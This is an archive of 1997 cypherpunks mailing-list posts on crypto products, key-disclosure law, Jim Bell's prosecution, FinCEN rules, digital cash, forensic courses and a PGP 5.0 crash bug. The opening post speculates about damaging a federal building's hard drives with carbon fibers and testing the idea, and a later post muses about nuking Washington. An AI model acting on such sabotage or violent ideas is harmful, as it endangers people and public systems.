  Anyway, in thinking about the possibilities surrounding the
introduction of carbon fibers into a federal building, my first
thought was in regard to whether or not carbon fibers are
actually known to cause damage to hard drives.
  Does anyone know where this idea comes from and whether it
has any known basis in fact? If there is some basis for
believing it to be a possibility, then it would not take much
effort to test it out. One could get an old computer for a
petty sum and use it to test the results of introducing the
fibers through the power supply.

TruthMonger #1
"They will get my cryptography when they pry it from my
cold, dead algorithms."


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 21 May 1997 21:15:26 +0800
To: cypherpunks@toad.com
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem forNext Generation Wireless Electronic Transactions
Message-ID: <v03020936afa88b337a0a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: Jack Oswald <joswald@rpkusa.com>
To: "'joswald@rpkusa.com'" <joswald@rpkusa.com>,
        "'maujacca@iprolink.ch'"
	 <maujacca@iprolink.ch>
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next
Generation Wireless Electronic Transactions
Date: Tue, 20 May 1997 18:41:20 -0700
MIME-Version: 1.0

Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald@rpkusa.com,
http://www.rpk.co.nz
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca@iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next
Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce HAWK
VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss
application specific integrated circuit (ASIC) design firm have chosen the
RPK Fast Public Key Cryptosystem to provide strong cryptographic security
in a next generation wireless electronic transactions application.  At the
same time, EPFL and ADESA unveiled HAWK a new generation
cryptography-enhanced microprocessor specifically designed for use in high
speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive
evaluation of all existing cryptosystems based on well known and understood
cryptographic techniques," said Maurice Jaccard, Managing Director of
ADESA, Inc. "With RPK there are no compromises. We get uncompromised
security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted
cryptographic techniques," said Jack Oswald, President and CEO of RPK Inc.
"Having RPK chosen by the Swiss for this breakthrough electronic-commerce
application is the strongest endorsement we could possibly achieve for the
RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype
application that promises to become the "wallet of the future".  This new
wireless electronic transaction application may take the form of a credit
card, a watch or a key chain and will sport features analogous to the
leather wallets used today by billions of people worldwide.  Early designs
of the system allow the user to withdraw and hold cash in multiple
currencies, as well as, purchase and hold vouchers for hotels, planes and
car rentals all through the use of wireless communications technology.
Officials in charge of the project envision that such devices could also
become a personal key chain for gaining access to motor vehicles, offices
and dwellings, in addition to traditional credit card uses.

ADESA concluded that performance of the RPK implementation in the prototype
far exceeded existing smart card implementations based on the RSA and other
algorithms.  The RPK technology performs the necessary encryption functions
in less than 10 milliseconds using an 823-bit key compared to the best
performing RSA-based equivalents that require greater than 100 milliseconds
to perform the same type of function using a much weaker 512-bit key.  The
application is not limited to 823-bit keys.  The design of the system,
based on the new HAWK processor is flexible and can accommodate and process
various sized keys, smaller or larger than 823 bits based on downloadable
parameters.  ADESA officials explained that the simplicity of the RPK
algorithm makes it much simpler to implement than the popular RSA approach.
It was RPK's simplicity, offering a much faster and cheaper solution while
providing even higher security, that drove the choice over RSA for this
application.


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on
mathematics widely used in cryptography today.  It was designed to be
immediately commercially viable without the years of study that a new area
of mathematics normally requires, such as the Elliptic Curve Cryptosystem
(ECC).  The source of the security for RPK is the same as that of
Diffie-Hellman key exchange, a widely used and well studied cryptographic
technique. RPK offers real advantages for high speed networking, SmartCard,
wireless communication applications as well as high volume software
processes such as credit card transactions.

RPK has at its core an invention called a Mixture Generator.  In the
preferred implementation, three fairly long linear feedback shift registers
are used.  This state machine has two modes of operation.  One that uses
the shift registers for exponentiation and the other as a generator of a
random stream of bits used in a combining phase for the actual encryption.
Effectively, RPK allows for the amortization of two "costly"
exponentiations over the entire length of a message because the core engine
is used to initially establish a secure state of the machine and then
switches modes to perform very high speed encryption.  This has been
referred to as a paradigm shift where the operation of encryption does not
require the costly calculations that an RSA or even an ECC implementation
would require for each block of data that is about the size of the key.
This mechanism can also be implemented in silicon quite efficiently such
that at high strength it is much cheaper to produce than alternative
technologies.  Finally, it is also possible to create a Mixture Generator
that is made up of Elliptic Curve groups which would provide a similarly
speedy and efficient initialization mode that could still produce high
speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than
three years of research and development conducted at the EPFL in Lausanne,
Switzerland in the area of high speed compression and encryption.  The HAWK
processor will benefit most cryptography implementations but is
particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen yet
for implementing cryptographic processes in silicon," said Bill Raike,
Chief Technology Officer for RPK Inc. and inventor of the RPK fast public
key cryptosystem.  "HAWK breaks the barrier for high speed, low cost, low
power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption
technology.  RPK was invented and originally patented in New Zealand.  The
company is therefore unaffected by restrictive U.S. export rules.  RPK has
been successfully exported to virtually all countries of the world at high
strength.  The company's headquarters are based in San Francisco,
California, USA, with an offshore research and development center located
outside of Auckland, New Zealand. http://www.rpk.co.nz

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland with
expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne,
Switzerland.  The school is known for its work in advanced processor design.


***

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 21 May 1997 20:00:36 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encryption laws (fwd)
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: <3.0.2.32.19970521074535.03920b14@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>If they had reasonable cause to believe you had knowledge of the key and
>were refusing to divulge it under direct order of the court you would be
>held in contempt until you were very old and gray.
>
>
>                                                 Jim Choate
>                                                 CyberTects
>                                                 ravage@ssz.com


Two years max.  A lot less time if you followed my strategy of spamming the 
court with daily (hourly?) screeds in which you assert in your finest Usenet 
flame language the fact that you will never follow the judge's order.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 21 May 1997 20:36:22 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Jim Bell's legal defense fund
In-Reply-To: <199705210151.UAA14291@manifold.algebra.com>
Message-ID: <199705211215.FAA05351@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, May 20, 1997 at 08:51:36PM -0500, Igor Chudov @ home wrote:
> Hi there,
> 
> I do not know Jim Bell personally and am not sure how rich he is,
> but suspect that he might be in need of some funds in order to be
> properly represented by good attorneys.
> 
> How about setting up his legal defense fund?
> 
> igor

I have a few e$...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 21 May 1997 21:41:02 +0800
To: cypherpunks@toad.com
Subject: New FinCEN Rules
Message-ID: <1.5.4.32.19970521131521.0089c1dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


FinCEN has published today in the Federal Register
three inter-related proposals for new rules for the Bank 
Secrecy Act Regulations:

1. Changes in the scope and type of transactions to
be regulated, including, say, micro payments and
and electronic transactions such as stored value cards.

2. Changes in the reporting requirements for suspicious 
transactions and the types of institutions to be regulated, 
including "money services establishments."

3. Changes in requirements for reporting currency 
transactions, and setting a new floor at $750 (as reported 
recently in the news).

   http://jya.com/fc052197.htm  (79K)

   http://jya.com/fc052197-2.htm  (69K)

   http://jya.com/fc052197-3.htm  (63K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 21 May 1997 23:27:24 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: digital cc transactions, digital checks vs real digital   cash
In-Reply-To: <v0302091baf8fb7a1ebb2@[139.167.130.247]>
Message-ID: <v03020944afa8a84025e0@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:55 pm -0400 on 5/12/97, Bill Stewart wrote:


> Book-entry banks need some kind of fairly reliable
> dispute resolution mechanism, but it doesn't need to be a force monopoly.
> If you happen to have a nation-state just lying around to be used,
> banks will be happy to use them, because they're more convenient for
> wide-area business than Mafia enforcers, probably cheaper, and can be
> more dependable and predictable, though your mileage may vary.

A force monopoly by any other is a nation state or is busy becoming one, to
mangle a few literary allusions.

> If you have relatively dependable identities, you can run a reputation
> system without relying on governmental or private violence providers;
> it's probably less expensive, but also less effective in most communities,
> so the risk of losing money may make it less attractive than governments.

Certainly the New York diamond market works this way. As do the NYSE, NASD,
Lloyds, etc. Eric Hughes called them "clubs". Reputation clubs, if you
will. The problem comes when your business is so large and centralized
(because of the hierarchical nature of networks where you have very
expensive human information "switches") that you can't know who you're
dealing with. Then it's easier to beat up on people who make the wrong
book-entries. By the way, most of these reputation clubs function best
where you have peer-to-peer trading contact. Geodesic markets, in other
words. Which, of course, is why geodesic markets with strong persistant
cryptographic repuations will probably go to things like reputation clubs,
or at least with on-line reputation registries operating much like Standard
and Poor's or Moody's or Dun and Bradstreet work today.

> If people know that nobody will take their checks if they bounce them
> and don't make good, and know they won't get any credit, and know that
> the merchants are all on the Grapevine, they'll generally be honest*.
> If identities are fluid, and you're willing to keep creating and burning
>them,
> you can sometimes get away with reneging on obligations,
> but people are less likely to trust you if they don't know you -
> so they'll want to see certified e-checks from well-known banks.

That's true. However, and of course no one has proven this yet, I think
that all the offsetting book-entries cost much more than a
spent-certificate registry.

> I tend to view book-entry systems as an effect of an
> economy that uses credit to fund business ventures;
> you can call the book entries "bonds" or "stocks", but
> book-entry is the obvious way to keep track of either one.

Not at all. Before mainframe computing, and certainly before telegraphy,
all debt was held in unregistered, bearer certificate form. The bookeeping
load for modern registered shareholder book-entry settlement was impossible
to maintain. I claim that, now that we have bearer certificates in digital
form, the cost advantage of electronic digital bearer settlement over
electronic book-entry settlement will eventually kill the later off
economically.

> Sure, you could do things like split all revenues on receipt,
> but book-entry is probably still easier.

I'm not sure I understand this sentence.

> [*Honest people will generally be honest anyway, which is most people
> in most cultures, but that doesn't mean they'll be good enough at
> planning to pay off their loans on time, especially if they're using
> the money for risky activities such as farming or software development...
> On the other hand, violence providers aren't always good at extracting
> payments from people who really don't have the money any more.]

People are honest primarily because it's too much physical effort to be
otherwise. Consistantly lying takes up too much memory, for instance. :-).

The nice thing about digital bearer settlement, is that it allows you to be
honest without telling potentially hostile people everything you do.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Wed, 21 May 1997 22:03:42 +0800
To: cypherpunks@algebra.com
Subject: Re: encryption laws
In-Reply-To: <2.2.32.19930716030439.0067dc10@earthlink.net>
Message-ID: <Pine.GSO.3.95.970521095008.11956B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 Jul 1993, Allan Thompson wrote:

>         Would it be possible for a court to subpeona a encrypted file or key,
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

Well, it's probable that you could use the 5th amendment to prevent it,
but yes, I suspect you could have problems with that defense.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 21 May 1997 22:55:37 +0800
To: cypherpunks@toad.com
Subject: Oregon Intel (Inside GAK)
Message-ID: <1.5.4.32.19970521143054.008fa698@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


5-21-97, PR Newswire:

New Cryptanalysis Course Announced by NTI One Day
Course for Corporate, Military and Law Enforcement Computer
Specialists 

Covers Issues in Cryptography and Cryptanalysis

Gresham, Ore., May 20 -- NTI today announced a one day class which 
gives corporate, military and law enforcement MIS personnel a
state-of-the-art grounding on the topics of computer
cryptography and cryptanalysis. With materials developed by
Eric Thompson, one of the world leading experts in this field,
attendees will receive instruction in the technological and
procedural elements of cryptanalysis. Unlike other sources of
information on the topic, this presentation covers the analysis
of existing commercial applications and their weaknesses. 

This course joins NTI's other courses in forensic computer
science. The forensic courses covers state-of-the-art
information regarding computer evidence processing,
evidence preservation and the identification of relevant data. 

"This class in cryptography grew out of requests for more
information on encryption from our forensics course
attendees. The course is highly focused and is presented with
state-of-the-art materials," stated Michael R. Anderson, the
President and co-founder of NTI, "and it covers material that
has historically not been presented from a practical
perspective. Computer and data security are rapidly becoming
a top priority as organizations become increasingly aware of
their vulnerability to information attack and encryption is a
vital part of reducing that vulnerability." 

Topics covered in the NTI cryptography course include: 

  Cryptographic terms and lexicon 

  Basics of crypto system design 

  Isolating cryptographic weakness in commercial systems 

  Cryptography in electronic commerce 

  Cryptography in Internet security applications 

  International issues in cryptography and secure applications 

  The Future of Cryptography and Cryptanalysis 

"Eric Thompson, our senior cryptographer, developed the
materials used in the presentation of this unique course,"
continued Anderson. "Eric is a world class cryptographer,
highly respected in both commercial and government
cryptography circles. In this class he brings to the topic at
hand real world, practical experience that has helped a
majority of government agencies deal with encryption issues."

Courses are regularly scheduled for presentation at the NTI
headquarters in Gresham, Oregon, and at conference facilities
throughout the United States; custom courses can also be
scheduled for presentation at corporate or government sites.
Attendance is $995 per person and includes all course
materials, luncheon and a certificate of completion. 

NTI (New Technologies, Inc.) is a world leading developer
of software utilities, procedures and training for computer
forensics and enterprise system security. Founded in 1996 by
a group of internationally recognized experts on computer
forensics and security issues, the company is privately held
with headquarters in Gresham, Oregon and field offices in
Eugene, Oregon; Provo, Utah, and Atlanta, Georgia. 

Visit NTI's Internet web site at http://www.secure-data.com. 

SOURCE New Technologies Inc. 

/CONTACT: Annette Johnson of NTI, 503-661-6912, or fax,
503-674-9145, or E-mail: info@secure-data.com/ 

----------

>From the NTI Web site, http://www.secure-data.com

New Technologies, Inc. 
2075 Northeast Division 
Gresham, Oregon 97030 USA
503-661-6912 or (fax) 503-674-9145

Forensic and Encryption Training

3 Day Oregon Training Schedule: May 20-22, June 24-26, 
July 22-24, Aug 19-21, Sept 16-18, Oct 21-23

Law enforcement and military agencies have been involved 
in processing computer evidence for years. The founders of NTI 
were instrumental in the creation of the training courses in the 
field of Forensic Computer Science that have become the 
international standard for evidence processing world wide. 

They developed the first computer evidence courses at the Federal 
Law Enforcement Training Center and created the original training 
courses and certification for the International Association of 
Computer Investigative Specialists. These founders have also been
instrumental in developing password recovery software which deals 
with the breaking of security associated with a majority of the 
commercial word processing, spread sheet and database software 
applications. 

In addition, a majority of the computer evidence processing tools 
used by law enforcement and military agencies were developed by the 
founders or employees of NTI.

With the creation of NTI, corporations and government agencies 
now have access to forensic information and tools which can be 
used in the identification of computer security risks and in
internal investigations. NTI will also continue to support law 
enforcement and military agencies by making state-of-the art 
training and automated forensic tools available at discounted rates. 

For security reasons, our training courses and forensic software 
tools are only made available to law enforcement agencies, 
government agencies, large corporations and consultants who
work with large corporations and/or government agencies.

***

Applied Cryptography & Cryptanalysis

NTI has three full time cryptographers employed in its Utah offices. 
Our file encryption software is developed in that facility and Eric 
Thompson is our senior cryptographer. Eric's credentials are
mentioned elsewhere in our web site. However, it is safe to say that 
he is one of the top cryptographers in the world and has broken the 
security associated with most commercial applications that feature 
encryption or password protection. We rely upon Eric and his team to
teach these courses at the sites of sponsoring government agencies 
and corporations.

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 21 May 1997 22:35:39 +0800
To: minow@apple.com
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03010d00afa69bff8ac5@[17.219.102.72]>
Message-ID: <199705211439.KAA10399@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Martin Minow writes:
> 
> Tim May wrote:
> >
> >Also, my tag line, "Death to tyrants!" is straight out of the Founders'
> >mouths.
> >
> Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
> "thus always to tyrants" and was spoken by John Wilkes Booth when he
> assasinated
> President Lincoln.

FYI, from http://www.scvol.com/States/virginia.htm

    [picture of Virginia flag]

    A deep blue field contains the seal of Virginia with the Latin
    motto "Sic Semper Tyrannis" - "Thus Ever to Tyrants". Adopted in
    1776. The two figures are acting out the meaning of the motto.
    Both are dressed as warriors. The woman, Virtue, represents Virginia.
    The man holding a scorge [sic] and chain shows that he is a tyrant.
    His fallen crown is nearby. 


Not conclusive, but it seems likely this slogan was well known to the
"Founders".


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 21 May 1997 23:21:26 +0800
To: cypherpunks@toad.com
Subject: Mil-LE Forensic Tools
Message-ID: <1.5.4.32.19970521145404.009012a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>From the NTI Web site, http://www.secure-data.com

Free downloads:

Forensic Tools

The FILTER Forensic Tool:

This program is used to remove binary (non alpha-numeric) characters 
from computer data. This program has been used internationally by 
military and law enforcement agencies for years and was donated to the 
law enforcement community by one of our founders back in 1991. Once a 
file has been processed with this program the content can be printed 
and viewed with more traditional types of programs, e.g. word processors. 
This program should not be confused with NTI's intelligent filter 
program. ...

The NTIDOC Forensic Tool:

This program is used to essentially take an electronic snap shot of 
files and subdirectories that have previously been identified to have 
some evidentiary value. It is a documentation tool. The program 
automatically creates documentation that can easily be printed, viewed 
or merged into forensic reports. The original program entitled DOC has 
been used for years by military and law enforcement computer specialists 
and has previously been donated for that use by the founders of NTI. ...

The SPACES Security Review Tool:

This program is very simple. It creates one or more files that contain 
nothing but spaces. To be exact, every file created by this program 
will contain 10,000 spaces. Such output is ideal in the evaluation of 
encryption patterns to determine security weakness. Our forensic 
training courses and cryptography courses cover this concept in detail. 

MICRO-ID Computer Theft Prevention Software:

This software is used to mark computer hard disk drives with computer 
ownership information. Once a computer has been marked it can be 
identified by police should it be recovered as stolen property. The 
program that reads the ownership information is called COP-ONLY and as 
the name implies the program is only distributed to local, county and 
state law enforcement agencies. ...

----------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 21 May 1997 23:38:02 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <y8R06D21w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970521111444.1337B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 6 May 1997, Dr.Dimitri Vulis KOTM wrote:

> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> It certainly would be consistent with other terrorist acts perpetrated
> by Armenian criminals off and on the net - such as the genocide of
> the 2 million Moslems and Sephardic Jews in this century alone.
> 
> I am not surprised that Arachelian's employer, Earthweb, condones his
> spamming.  They sound like a thoroughly corrupt and criminal organization,
> since they even employ Arachelian as a network administrator.

1. What spamming?  All this was hypothetical.

2. What I do from my accounts is my business and not Earthweb's.

3. The only criminal character that has spammed here is you - see all the 
"Timmy May" messages, the "news" messages of 100K+, all the spambots 
you've writen and posted here, and your flame wars.

If anyone doubts this, they need to do a net search on the word "Vulis" 
to see your lovely work.   Crawl back under your rock, you're boring us.

If you can't come up with anything entertaining like you used to, don't 
bother.  You're repeating yourself like the broken KGB mouthpiece that 
you are.  To quote Monty Python "I fart in your general direction.  Your 
mother was a hamster, and your father smelt of elderberries."

Now, either shut up, or do something worthy of your KOTM label.  Yeah, 
and that is a challenge - incase you're too stupid to figure it out.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 21 May 1997 23:30:36 +0800
To: cypherpunks@toad.com
Subject: Rogue Key Warning
Message-ID: <199705211502.JAA13497@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>   In keeping with what I see as a cypherpunk frame of mind, I am
> posting this via an anonymous remailer, but I am also digitally
> signing it. I am not hiding my identity, but merely taking
> action to prevent my public statement from being used to unjustly
> persecute me.

  The PGP public key included with the file for identification
purposes has a verifying signature that can corrupt your PGP 5.0
keyring file if you use the "Get Selected Key" option to get
that particular verifying key and add it to your keyring. It 
crashes the program.
  The offending key shows up as "Unavailable, 0xFC3568CD" in
the PGP 5.0 list of verifying signatures for the key.

  The key included in the file causes no problems with the program
when added to the keyring as long as you don't use the program to
retreive the offending verification key and add it to your keyring.

> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQCVAwUBM4KR+6ozBjzmqceZAQHeRQQAiI6CSKzPgioO5UdacoNbtKPyTvhHOuNB
> /kkCx1UuYiVOaIw48oVX7Gj1bIcMMkAiM+q6q+SOZkEq+hNUdriISpY5/aKA39Yp
> ejNKl2McRK7WrP+TQPNx9hwxFrW93JrqjhSPhZsgkVNtIHG/wE1RpdWJzPiIOeP2
> /Q9TTHmRoRU=
> =x+P/
> -----END PGP SIGNATURE-----
> 
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 5.0 beta
> 
> mQCNAzMs140AAAEEAL1CAoB5pd97hIOoT6L0v05Ov8nw0unf0db6NXZ91EJAyq9p
> DoPGJl7Z6m5McIsNI2DrCEEt7KYdt0ZIGcqqK2gmCePYI0oQOFj+jznI3jKXg1k2
> R+ngk+cUn21EfrNXFGPk1Tuc1/3Qib6cX6BZRJvvz1FNYNt/zqozBjzmqceZAAUR
> tBtUb3RvIDx0b3RvQHNrLnN5bXBhdGljby5jYT6JAJUCBRAzPR6jIokaQ0EgfuUB
> ARyWA/9P1UVMvBAGXY488f/Nvs1CZnp/a0SNxELXfpMyJz/Vdd2RuahRYoc50Cbp
> F1/QOd4PZeEW2aNT/shxfm3Q9zpxGzyFgy//tEXdw2aedzdT4oMOgDBqMrzc2LfN
> 8zWqF5cWJLASIqwbrIkmyZR6LUCxmE79WmgRlQGAHfMwwC3WLYkAlQMFEDOCfw+w
> X4yQZvuMZQEBhuYEAJW2pN2aj1m7972GkQvUVBeenWrMqKXNyHF/73+YGZsLLo79
> ApWR1ROm2RgxXJQeHSrUolXhxpkjHe9DJ5GwrsV7m97HfwvM32Vw/32U4T1jyeez
> VvBqJQ417UxxYS2QSQZIyLcVojFEJvh/kQ2NFXwTPJ1BscPn4/KnT6DD0u5ciQCV
> AwUQM4J+6pfboLn8NWjNAQGTigQAnrFZ8OiAguWqi1LsClKo0t9y+Ly98EPnpBt2
> FgQN9/Z8PSZjPqEn9AJk7Z5TBhGJNXBmkULiuNA9zvGTsRM0S7Oi6/WFUcL9rio6
> gMsxTnDythGaFa5YDQXgXtFxqcjsojGhe922KFnVi4xxatO9vm9Zo3JaNAK8zvg2
> rIrd7VQ=
> =MuiR
> -----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 22 May 1997 17:46:15 +0800
To: cypherpunks@toad.com
Subject: Re: The Natives Are Getting Restless
Message-ID: <199705220919.DAA15574@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc wrote:

> If this society is at war, it is a Civil War, fighting against itself.   In
> fact, there are many groups fighting against each other, on many different
> levels:  racial, gender-based, religious, economic, philosophical, not to
> leave out political.    Companies are fighting each other "tooth & nail"
> for survival in marketing turfs, races are still exchanging vicious barbs,
> homosexuals are under verbal & physical attack by the socially "normed",
> the poor still envy & disparage the rich, women & children seem more than
> ever to be at risk to attacks from roving sex perverts, the liberals would
> love to put the libertarians under, religious groups lecture against the
> moral depravity of all those "other" people, and half the country is either
> stocking up for a National Disaster or forming into militia groups or other
> Think Tanks to fight some sort of government encroachment (even the health
> food stores where I shop are always posting sign-up sheets to vote against
> something or another the government wants to ban or some right-of-choice
> that is being threatened by proposed legislation).

 Second only to Miss Piggy among deep thinkers, Mrs.
Wiggs, the one with the cabbage patch, said this: "In the
mud and scum of things ... Something always always
sings."

  I am grateful that there is at least one female on the list who
is capable of stepping into the middle of the "Dick Wars" on the
list and reminding the men that the "targets" they talk about have 
names, faces, and children.
  I am aware that there is a human cost inherent in every conflict,
and I accept that it will always be so, but I cannot accept the
idea that one can leave their conscience clear by "criminalizing"
their target and discounting their target's humanity.
  I am an anarchist and a realist. If I had a button that would
nuke D.C., I might well push it--but I am also a thinking, feeling
human, and I would cry a river of tears, as well. When I estimate
a "body count", I never fail to count the children.

  Blanc's aim is true when she speaks of the growth of reactionary
posts to the list which fail to include a foundation of creative
thought. 
  Anyone can return fire when attacked and turn the situation into
a firefight where a random volley of ammo decides the outcome of
the battle. However, a good squad leader already has his defences
in place to deal rationally with situations that can easily be
forseen before they arise.
  When "they" come for your neighbor today, will you be surprised
when they come for _you_ tomorrow? When I first heard of Jim Bell's
arrest I began composing a reply to Hallam-Baker's coming post. It
may be vocal and emotionally charged, but it is not done solely
out of blind reactionism.

  God bless Blanc.

TruthMonger -96





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger  #-96 <tm96@dev.null>
Date: Thu, 22 May 1997 18:25:56 +0800
To: cypherpunks@toad.com
Subject: Re: Why I think Jim Bell is getting railroaded
Message-ID: <199705221000.EAA16124@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker, whose posts always seem to read as if they were
written by a government disinformant, wrote:

> Alan Olsen wrote:
> > I think that the Government is trying to make an example of Mr. Bell.  I
> > think that much of the charges reported in the news are false.

> I would not depend on Bell to any extent in any circumstance to
> be reliable.

  That's right. We should not support "wrong" people. So first H-B
needs to demean Jim Bell personally.

> > 3) The suspected crimes list keeps changing.  How many times has the
> > "official" story changed?  Each time it gets more and more lurid.
> 
> Expanding is the word. Put someone under a microscope and you
> are liable to find out quite a bit about them.

  And we should not support "bad" people, so H-B also needs to
criminalize Jim Bell by vague innuendo.

> Bell is not the kind of loon to stick one's neck out for.

  Why risk your own neck supporting a loon?

> It may
> well be that he did not explicitly advocate murder but he danced
> awfully close to that line. 

  Sure, maybe he didn't actually commit a crime, but he pushed
the envelope, so he made his own troubles.
  
> Before charging to the rescue its a good idea to make sure
> that you are rescuing the right person. 

  It's best to do nothing, because it's not you. It's a loon.
It's someone who probably did something illegal, even if it
wasn't what he was charged with (because we're all guilty of
something).
  So now H-B has given the individual cypherpunks "reasons"
not to support Jim Bell, or to protest his persecution.

  So what if Jim Bell is a cypherpunk to the core? So what if
he is being prosecuted for speaking of things that many of us
have spoken about and debated on the list?
  There are sounds of gunfire coming from our neighbor's house.
Let's just close the window and hope that the trouble doesn't
come our way.

TruthMonger #-96





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 00:38:34 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <19970521092223.04748@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 12:50:02AM -0700, Bill Stewart wrote:
> At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
[...]
> > "Power corrupts..." isn't a property of governments, 
> > it is a property of individual human beings.
> 
> Mostly.  But you're presumably advocating government by humans.

